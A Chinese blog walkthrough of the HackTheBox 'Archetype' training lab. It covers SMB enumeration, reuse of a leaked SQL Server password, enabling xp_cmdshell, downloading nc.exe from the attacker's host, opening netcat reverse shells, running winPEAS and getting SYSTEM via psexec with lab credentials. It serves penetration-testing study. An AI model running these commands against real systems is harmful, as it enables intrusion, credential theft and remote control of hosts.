0
点赞
收藏
分享

微信扫一扫

一次HTB_Archetype的详细通关过程

0x00 前言

最近在打HackTheBox起点,第0层和第1层都是一些比较基础的靶场,没有什么知识盲区

到了第2层的时候第一台机器就是sql server的靶场,打起来有点卡壳,而且这次学到了不少东西所以在这里就记录一下


0x01 进入正题

刚开始如何连接VPN进入到靶场这里就不说了,直接点击开始,创建一个实例

一次HTB_Archetype的详细通关过程 _sql

​创建成功


任务1:哪个TCP端口托段数据库服务器?

一次HTB_Archetype的详细通关过程 _git_02

首先使用Nmap进行扫描

nmap -sV -sC -T4 10.129.151.127

一次HTB_Archetype的详细通关过程 _sql_03

很明显1433端口开放了SQL Server 所以任务一的答案是1433


任务2 :SMB上可用的非管理共享名称是什么?

smbclient -L \\10.129.151.127密码直接空密码,回车即可

一次HTB_Archetype的详细通关过程 _sql_04

可以看到这里共享了四个目录,非管理共享目录的话就是backups了

所以任务2的答案是backups


任务3:SMB共享文件中标识的密码是什么? 一次HTB_Archetype的详细通关过程 _git_05

我们进行连接backups目录smbclient \\\\10.129.151.127\\backups

然后使用get这个文件下载下来get prod.dtsConfig

再到本地使用cat查看,里面有个Passwordi字段,那就是这个密码了

一次HTB_Archetype的详细通关过程 _sql_06

所以任务3答案是M3g4c0rp123


任务4:可以使用 impacket 中的哪些脚本来建立到 Microsoft SQL Server 的经过身份验证的连接? 一次HTB_Archetype的详细通关过程 _git_07

这里考察的我们对impacket框架的了解,在impacket中哪个脚本可以连接SQL Server

Gitub.com搜索impacket第一个就是

一次HTB_Archetype的详细通关过程 _git_08

使用git拉取> git clone https://github.com/SecureAuthCorp/impacket.git
> cd impacket
> sudo python3 setup.py install
> pip3 install -r requirements.txt

安装好依赖之后就可以使用了

一次HTB_Archetype的详细通关过程 _git_09

impacket的脚本都在examples里面,看名字就知道mssql开头的就是

一次HTB_Archetype的详细通关过程 _sql_10

我们这里看一下mssqlclient.py脚本的帮助信息,那就是这个脚本了

所以任务4的答案就是mssqlclient.py


任务5:可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令外壳?

一次HTB_Archetype的详细通关过程 _sql_11

(这里Google浏览器翻译有点问题,大致的意思就是SQL Server可以用哪个拓展来执行Windows shell),SQL Server的xp_cmdshell提权原理这里就不细说了

任务5的答案是xp_cmdshell


任务6:可以使用什么脚本来搜索提升 Windows 主机权限的可能路径?

一次HTB_Archetype的详细通关过程 _github_12

这里win和Linux都有一个很好的提权脚本叫PEAS,Git下载地址:https://github.com/carlospolop/PEASS-ng/releases/tag/20220710

一次HTB_Archetype的详细通关过程 _git_13

Linux系统叫linpeas,win系统叫winpeas

所以任务6答案是winpeas


任务7:哪个文件包含管理员的密码?

这里就需要我们通过之前xp_cmdshell拿到这台机器的shell

我们使用impacket框架中的mssqlclient.py脚本进行身份验证

lid为ARCHETYPE/sql_svc

l@后面接IP地址

l密码为M3g4c0rp123

这些信息都是我们从smb中的prod.dtsConfig文件中得到的

一次HTB_Archetype的详细通关过程 _git_14

连接进mssql之后就使用xp_cmdshell进行拿shellSQL> EXEC xp_cmdshell 'whoami'可以看到xp_cmdshell没有激活

一次HTB_Archetype的详细通关过程 _github_15SQL> SELECT is_srvrolemember('sysadmin');

 一次HTB_Archetype的详细通关过程 _github_16

返回为1就代表着对于的权限,我们这里为sysadmin权限,可以使用xp_cmdshell拿shell

sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1”SQL> EXECUTE sp_configure 'show advanced options',1;
SQL> RECONFIGURE;//使前面的配置生效
SQL> EXECUTE sp_configure 'xp_cmdshell',1;//开启CMDshell
SQL> RECONFIGURE;//使前面的配置生效

执行完这些语句之后我们就可以执行我们的xp_cmdshell​SQL> xp_cmdshell "whoami"

一次HTB_Archetype的详细通关过程 _git_17

当前用户为一个数据库用户,然后使用nc将会话弹回来,方便后面的提权操作,现在桌面使用python起一个http服务

一次HTB_Archetype的详细通关过程 _sql_18

再利用xp_cmdshell调用powershell将nc下载到目标机器上SQL> xp_cmdshell "powershell.exe wget http://10.10.14.140/nc.exe -O c:\\Users\Public\\nc.exe

一次HTB_Archetype的详细通关过程 _git_19

看到这边有个get请求之后就是下载成功了,本机使用nc进行监听,目标机器使用nc将cmd反弹到我们机器上SQL> xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.140 4444"

一次HTB_Archetype的详细通关过程 _github_20

因为我这里使用的是新版的Netcat,没有-e参数了

一次HTB_Archetype的详细通关过程 _github_21

这里使用nc串联的方式来弹回shellSQL> xp_cmdshell "c:\\Users\Public\\nc.exe 10.10.14.140 4444 | cmd.exe | c:\\Users\Public\\nc.exe 10.10.14.140 3333"

l在4444端口输入命令,会通过管道符,传输到cmd 解析结果通过管道通过nc传输到3333端口

一次HTB_Archetype的详细通关过程 _github_22

我们在4444端口输入命令会通过管道符传输到cmd.exe,结果通过nc传输到10.10.14.140 3333端口

一次HTB_Archetype的详细通关过程 _git_23

一次HTB_Archetype的详细通关过程 _sql_24

我们这里找到一个user.txt,但是任务7是让我们寻找包含管理员的密码,我们使用winPEAS进行提权

​https://github.com/carlospolop/PEASS-ng/releases/tag/20220710​

在这个里面下载我们对于系统的程序

一次HTB_Archetype的详细通关过程 _git_25

这里我下载的是winPEAS.bat批处理脚本,因为exe程序的输出东西太多了,Kali终端最上面有一些东西看不到,还是通过上传nc一样的方式进行上传winPEAS.bat(但是这里需要断开nc会话,否则下载不了)

一次HTB_Archetype的详细通关过程 _sql_26

成功下载之后我们再连接上ncSQL> xp_cmdshell "c:\\Users\Public\\nc.exe 10.10.14.140 4444 | cmd.exe | c:\\Users\Public\\nc.exe 10.10.14.140 3333"

一次HTB_Archetype的详细通关过程 _git_27

cd到我们下载的目录

一次HTB_Archetype的详细通关过程 _git_28

直接.\winPEAS.bat执行即可,他会自己执行各个功能 我们只需要等待即可

一次HTB_Archetype的详细通关过程 _sql_29

等待片刻之后扫描到一个console history file

一次HTB_Archetype的详细通关过程 _github_30

我们使用type查看

一次HTB_Archetype的详细通关过程 _git_31

是一个历史命令,administrator用户登录后将共享文件夹\Archetype\backups映射到T盘,后面是用户名的密码

那么任务7的答案就是ConsoleHost_history.txt文件中包含管理员的密码


任务8:提交user flag

一次HTB_Archetype的详细通关过程 _sql_32

用户标志也就是我们之前在sql_svc桌面找到的user.txt

一次HTB_Archetype的详细通关过程 _github_33

任务9:提交root flag

我们需要使用administrator登录到机器上查看administrator的桌面,这里使用impacket框架中的psexec.py脚本

一次HTB_Archetype的详细通关过程 _git_34

python3 psexec.py administrator@10.129.151.127

​管理员的密码为MEGACORP_4dm1n!!

一次HTB_Archetype的详细通关过程 _github_35

成功拿到system权限

一次HTB_Archetype的详细通关过程 _git_36

直接查看Administrator桌面的root.txt 成功拿到root flag

举报

相关推荐

0 条评论